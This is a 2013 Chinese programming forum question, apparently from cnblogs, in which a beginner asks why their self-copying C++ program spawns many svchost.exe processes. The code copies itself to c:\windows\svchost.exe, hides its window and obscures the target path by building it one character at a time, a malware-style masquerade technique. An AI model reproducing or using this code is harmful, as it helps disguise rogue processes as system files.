首页 新闻 会员 周边 捐助

关于将自身复制到制定目录 再运行的问题

0
悬赏园豆:10 [已关闭问题] 关闭于 2013-05-13 16:43

代码很简单 就是判断自身是否在指定目录下  不在就复制自身过去 再运行 但是一启动 就会出现N个svchost.exe
求大牛们帮忙看看

#include "stdafx.h"
#include <windows.h>
 
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
int main()
{
    char path[100];
    char npath[] = {'c',':','\\','\\','w','i','n','d','o','w','s','\\','\\','s','v','c','h','o','s','t','.','e','x','e','\0'};
 
    GetModuleFileNameA(NULL,path,sizeof(path));
 
    //判断自身文件路径在不在c:\windows\下 不在就复制过去 然后再运行
    if(strcmpi(path,npath)!=0)
    {
        CopyFileA(path,npath,false);
        Sleep(300);
        WinExec(npath,SW_SHOWNORMAL);
        return 0;
         
    }
    //在c:\\windows目录下
    MessageBox(NULL,"Fuck","Fuck",MB_OK);
}
孤城浪子的主页 孤城浪子 | 初学一级 | 园豆:197
提问于:2013-05-13 13:07
< >
分享
所有回答(1)
0

解决解决      

孤城浪子 | 园豆:197 (初学一级) | 2013-05-13 16:43
清除回答草稿
   您需要登录以后才能回答,未注册用户请先注册